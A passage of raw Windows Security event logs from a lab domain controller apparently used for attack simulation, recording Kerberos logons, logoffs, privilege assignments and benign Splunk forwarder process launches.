is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:49:58 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=252037 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x14D3EE - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/11/2021 11:49:59 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=252070 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x149E93 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x1174 - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0x364 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\SplunkD.EXE" generate-ssl - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:49:59 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=252069 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x14DEA0 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:49:59 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=252068 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Delegation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0x14DEA0 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {B6CE28AD-513E-D291-9E71-4027479B73C8} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: 10.0.1.14 - Source Port: 64588 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:49:59 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=252067 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x14DEA0 - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/11/2021 11:49:59 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=252066 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x14DE3F - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:49:59 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=252065 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Delegation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0x14DE3F - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {B6CE28AD-513E-D291-9E71-4027479B73C8} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: 2001:0:2851:782c:1810:3209:f5ff:fef1 - Source Port: 64587 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:49:59 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=252064 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x14DE3F - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/11/2021 11:49:59 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=252063 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x14DDD9 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:49:59 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=252062 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Delegation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0x14DDD9 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {B6CE28AD-513E-D291-9E71-4027479B73C8} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: fe80::80c8:c9ac:2ea9:b5ba - Source Port: 64586 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:49:59 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=252061 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x14DDD9 - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/11/2021 11:49:59 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=252060 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x14DD78 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:49:59 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=252059 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Delegation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0x14DD78 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {B6CE28AD-513E-D291-9E71-4027479B73C8} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: fe80::1810:3209:f5ff:fef1 - Source Port: 64585 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:49:59 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=252058 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x14DD78 - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/11/2021 11:49:59 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=252057 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x149E93 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xaf4 - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0x780 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\btool.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\SplunkD.EXE" btool server list httpServerListener: --no-log - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:49:59 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=252056 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x149E93 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x780 - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\btool.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0x7e0 - Creator Process Name: C:\Windows\System32\cmd.exe - Process Command Line: btool server list httpServerListener: --no-log - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:49:59 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=252055 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x149E93 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x7e0 - New Process Name: C:\Windows\System32\cmd.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0x364 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk.exe - Process Command Line: C:\Windows\system32\cmd.exe /c btool server list httpServerListener: --no-log - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:49:59 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=252054 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x149E93 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x1118 - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0x4b0 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\btool.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\SplunkD.EXE" btool server list general --no-log - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:49:59 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=252053 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x149E93 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x4b0 - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\btool.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0x11c8 - Creator Process Name: C:\Windows\System32\cmd.exe - Process Command Line: btool server list general --no-log - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:49:59 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=252052 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x149E93 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x11c8 - New Process Name: C:\Windows\System32\cmd.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0x364 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk.exe - Process Command Line: C:\Windows\system32\cmd.exe /c btool server list general --no-log - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:49:59 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=252051 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x149E93 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x128c - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0x122c - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\btool.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\SplunkD.EXE" btool server list httpServer --no-log - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:49:59 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=252050 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x149E93 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x122c - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\btool.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0x1140 - Creator Process Name: C:\Windows\System32\cmd.exe - Process Command Line: btool server list httpServer --no-log - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:49:59 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=252049 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x149E93 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x1140 - New Process Name: C:\Windows\System32\cmd.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0x364 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk.exe - Process Command Line: C:\Windows\system32\cmd.exe /c btool server list httpServer --no-log - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:50:00 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=252087 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x14EABC - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:50:00 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=252086 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Delegation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0x14EABC - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {B6CE28AD-513E-D291-9E71-4027479B73C8} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: 10.0.1.14 - Source Port: 64592 - -Detailed Authentication Information: - Logon Process: Kerberos - 